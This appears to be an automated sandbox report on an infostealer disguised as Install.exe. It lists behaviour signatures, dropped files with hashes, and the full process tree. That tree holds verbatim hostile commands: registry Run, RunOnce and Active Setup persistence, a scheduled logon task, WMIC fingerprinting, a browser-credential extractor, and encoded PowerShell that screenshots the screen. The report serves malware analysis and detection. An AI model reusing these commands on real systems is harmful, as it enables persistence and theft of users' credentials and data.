Analysis

  • user interaction
    yes
  • max time kernel
    76s
  • max time network
    48s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 15:31

General

  • Target
    Install.exe
  • Size 91.9MB
  • Sample260804-sydxgsch79
  • SHA256 d40f4e95ea380c095a726b46316875c96859820a7a71ec6a61f6ad03fa25f968
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 2 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 6 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 2 IoCs
  • Contacts third-party web service commonly abused for C2 1 TTPs 1 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Looks up external IP address via web service 1 TTPs 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Discovers running processes 1 TTPs 2 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in Program Files directory 6 IoCs
  • Executes a command shell one-liner 1 TTPs 15 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 36 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 37 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\Install.exe
    "C:\Users\Admin\AppData\Local\Temp\Install.exe"
    1⤵
    • Creates a file in the Startup directory
    • Loads dropped DLL
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:5072
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4348
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic csproduct get uuid
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3924
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "wmic path win32_VideoController get name"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2748
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic path win32_VideoController get name
        3⤵
        • Detects videocard installed
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5200
    • C:\Users\Admin\AppData\Local\Temp\ls_z23ak4\chromelevator.exe
      C:\Users\Admin\AppData\Local\Temp\ls_z23ak4\chromelevator.exe --output-path C:\Users\Admin\AppData\Local\Temp\ls_z23ak4\output all
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:5996
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe"
        3⤵
          PID:4136
        • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
          "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
          3⤵
            PID:4684
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic computersystem get model,manufacturer /format:list"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4508
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic computersystem get model,manufacturer /format:list
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:5884
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic path SoftwareLicensingService get OA3xOriginalProductKey"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3468
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic path SoftwareLicensingService get OA3xOriginalProductKey
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2936
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic bios get serialnumber"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:240
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic bios get serialnumber
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4600
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic logicaldisk get freespace"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5696
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic logicaldisk get freespace
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:2676
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "wmic diskdrive get size"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5444
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic diskdrive get size
            3⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:908
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /d /s /c "getmac"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2772
          • C:\Windows\system32\getmac.exe
            getmac
            3⤵
              PID:1196
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "wmic csproduct get uuid"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5268
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic csproduct get uuid
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4860
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcACgAkAG0AbwBuAGkAdABvAHIAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAuAFMAYwByAGUAZQBuAF0AOgA6AEEAbABsAFMAYwByAGUAZQBuAHMACgAkAHQAbwB0AGEAbABXAGkAZAB0AGgAIAA9ACAAKAAkAG0AbwBuAGkAdABvAHIAcwAgAHwAIABNAGUAYQBzAHUAcgBlAC0ATwBiAGoAZQBjAHQAIAAtAFAAcgBvAHAAZQByAHQAeQAgAEIAbwB1AG4AZABzAC4AVwBpAGQAdABoACAALQBTAHUAbQApAC4AUwB1AG0ACgAkAG0AYQB4AEgAZQBpAGcAaAB0ACAAPQAgACgAJABtAG8AbgBpAHQAbwByAHMAIAB8ACAATQBlAGEAcwB1AHIAZQAtAE8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABCAG8AdQBuAGQAcwAuAEgAZQBpAGcAaAB0ACAALQBNAGEAeABpAG0AdQBtACkALgBNAGEAeABpAG0AdQBtAAoAJABtAGkAbgBYACAAPQAgACgAJABtAG8AbgBpAHQAbwByAHMAIAB8ACAATQBlAGEAcwB1AHIAZQAtAE8AYgBqAGUAYwB0ACAALQBQAHIAbwBwAGUAcgB0AHkAIABCAG8AdQBuAGQAcwAuAFgAIAAtAE0AaQBuAGkAbQB1AG0AKQAuAE0AaQBuAGkAbQB1AG0ACgAkAG0AaQBuAFkAIAA9ACAAKAAkAG0AbwBuAGkAdABvAHIAcwAgAHwAIABNAGUAYQBzAHUAcgBlAC0ATwBiAGoAZQBjAHQAIAAtAFAAcgBvAHAAZQByAHQAeQAgAEIAbwB1AG4AZABzAC4AWQAgAC0ATQBpAG4AaQBtAHUAbQApAC4ATQBpAG4AaQBtAHUAbQAKACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACgAJAB0AG8AdABhAGwAVwBpAGQAdABoACwAIAAkAG0AYQB4AEgAZQBpAGcAaAB0ACkACgAkAGcAcgBhAHAAaABpAGMAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEcAcgBhAHAAaABpAGMAcwBdADoAOgBGAHIAbwBtAEkAbQBhAGcAZQAoACQAYgBpAHQAbQBhAHAAKQAKAGYAbwByAGUAYQBjAGgAIAAoACQAbQBvAG4AaQB0AG8AcgAgAGkAbgAgACQAbQBvAG4AaQB0AG8AcgBzACkAIAB7AAoAIAAgACQAZwByAGEAcABoAGkAYwBzAC4AQwBvAHAAeQBGAHIAbwBtAFMAYwByAGUAZQBuACgAJABtAG8AbgBpAHQAbwByAC4AQgBvAHUAbgBkAHMALgBYACwAIAAkAG0AbwBuAGkAdABvAHIALgBCAG8AdQBuAGQAcwAuAFkALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AWAAgAC0AIAAkAG0AaQBuAFgALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AWQAgAC0AIAAkAG0AaQBuAFkALAAgACQAbQBvAG4AaQB0AG8AcgAuAEIAbwB1AG4AZABzAC4AUwBpAHoAZQApAAoAfQAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABzAGMAcgBfADEANwA4ADUAOAA1ADcAOAAwADAAOAA3ADUALgBwAG4AZwAnACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:4572
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -EncodedCommand QQBkAGQALQBUAHkAcABlACAALQBBAHMAcwBlAG0AYgBsAHkATgBhAG0AZQAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwAKAEEAZABkAC0AVAB5AHAAZQAgAC0AQQBzAHMAZQBtAGIAbAB5AE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcACgAkAHMAYwByAGUAZQBuACAAPQAgAFsAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzAC4AUwBjAHIAZQBlAG4AXQA6ADoAUAByAGkAbQBhAHIAeQBTAGMAcgBlAGUAbgAKACQAYgBpAHQAbQBhAHAAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEIAaQB0AG0AYQBwACgAJABzAGMAcgBlAGUAbgAuAEIAbwB1AG4AZABzAC4AVwBpAGQAdABoACwAIAAkAHMAYwByAGUAZQBuAC4AQgBvAHUAbgBkAHMALgBIAGUAaQBnAGgAdAApAAoAJABnAHIAYQBwAGgAaQBjAHMAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALgBHAHIAYQBwAGgAaQBjAHMAXQA6ADoARgByAG8AbQBJAG0AYQBnAGUAKAAkAGIAaQB0AG0AYQBwACkACgAkAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFgALAAgACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFkALAAgADAALAAgADAALAAgACQAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwAuAFMAaQB6AGUAKQAKACQAZwByAGEAcABoAGkAYwBzAC4ARABpAHMAcABvAHMAZQAoACkACgAkAGIAaQB0AG0AYQBwAC4AUwBhAHYAZQAoACcAQwA6AFwAXABVAHMAZQByAHMAXABcAEEAZABtAGkAbgBcAFwAQQBwAHAARABhAHQAYQBcAFwATABvAGMAYQBsAFwAXABUAGUAbQBwAFwAXABzAGMAcgBfADEANwA4ADUAOAA1ADcAOAAwADAAOAA3ADUALgBwAG4AZwAnACwAIABbAFMAeQBzAHQAZQBtAC4ARAByAGEAdwBpAG4AZwAuAEkAbQBhAGcAaQBuAGcALgBJAG0AYQBnAGUARgBvAHIAbQBhAHQAXQA6ADoAUABuAGcAKQAKACQAYgBpAHQAbQBhAHAALgBEAGkAcwBwAG8AcwBlACgAKQA=
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:3440
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:1444
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
              3⤵
              • Adds Run key to start application
              PID:6056
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "schtasks /create /tn "jlrU9NV" /tr "\"C:\Users\Admin\AppData\Local\Temp\Install.exe\"" /sc onlogon /f /rl highest"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5836
            • C:\Windows\system32\schtasks.exe
              schtasks /create /tn "jlrU9NV" /tr "\"C:\Users\Admin\AppData\Local\Temp\Install.exe\"" /sc onlogon /f /rl highest
              3⤵
              • Scheduled Task/Job: Scheduled Task
              PID:4952
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Active Setup\Installed Components\jlrU9NV" /v StubPath /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:3000
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Active Setup\Installed Components\jlrU9NV" /v StubPath /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
              3⤵
              • Boot or Logon Autostart Execution: Active Setup
              PID:2092
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /d /s /c "reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:2436
            • C:\Windows\system32\reg.exe
              reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "jlrU9NV" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\Install.exe" /f
              3⤵
              • Adds Run key to start application
              PID:1896
        • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
          "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
          1⤵
            PID:1992
          • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
            "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
            1⤵
              PID:5788
            • C:\Users\Admin\AppData\Local\Temp\Install.exe
              "C:\Users\Admin\AppData\Local\Temp\Install.exe"
              1⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3484
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5072" /FO CSV /NH"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3188
                • C:\Windows\system32\tasklist.exe
                  tasklist /FI "PID eq 5072" /FO CSV /NH
                  3⤵
                  • Discovers running processes
                  PID:5616
            • C:\Users\Admin\AppData\Local\Temp\Install.exe
              C:\Users\Admin\AppData\Local\Temp\Install.exe
              1⤵
              • Loads dropped DLL
              • Suspicious use of WriteProcessMemory
              PID:3424
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /d /s /c "tasklist /FI "PID eq 5072" /FO CSV /NH"
                2⤵
                • Executes a command shell one-liner
                • Suspicious use of WriteProcessMemory
                PID:3516
                • C:\Windows\system32\tasklist.exe
                  tasklist /FI "PID eq 5072" /FO CSV /NH
                  3⤵
                  • Discovers running processes
                  PID:3636

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 1dc014ae71bae56db839e125468e8d693a4b569e68debde951499621335b231b
                  • MD5 SHA1 SHA512 TLSH

                  .dat

                  • Path C:\Users\Admin\AppData\Local\Temp\.dat
                  • Size 4B
                  • SHA256 9607bf9d54d419afa0183127cbd4ed038be4edc286c147b609a772a157b76fc6
                  • MD5 SHA1 SHA512

                  1994560362.node

                  • Path C:\Users\Admin\AppData\Local\Temp\1994560362.node
                  • Size 275KB
                  • SHA256 89cbacbc842eb08645bf0b2ea5a03f0a0504a213aa123242343e5588e2f0149c
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  4225614606.node

                  • Path C:\Users\Admin\AppData\Local\Temp\4225614606.node
                  • Size 1.6MB
                  • SHA256 a0703af5f81284f61b51946b703ccaafcae05c848527d38f1e6d8290f98ff538
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  chromelevator.exe

                  • Path C:\Users\Admin\AppData\Local\Temp\ls_z23ak4\chromelevator.exe
                  • Size 1.4MB
                  • SHA256 16d221f6402ceeddbd6adcf42da0a3b8c85dee30485096fc9b22500bfb610fbd
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  scr_1785857800875.png

                  • Path C:\Users\Admin\AppData\Local\Temp\scr_1785857800875.png
                  • Size 545KB
                  • SHA256 33e00ab56576625d15aa28de76eeed9b1511f8dac3b3d5804860239087b59aff
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  memory/4572-23-0x00000208F8940000-0x00000208F8962000-memory.dmp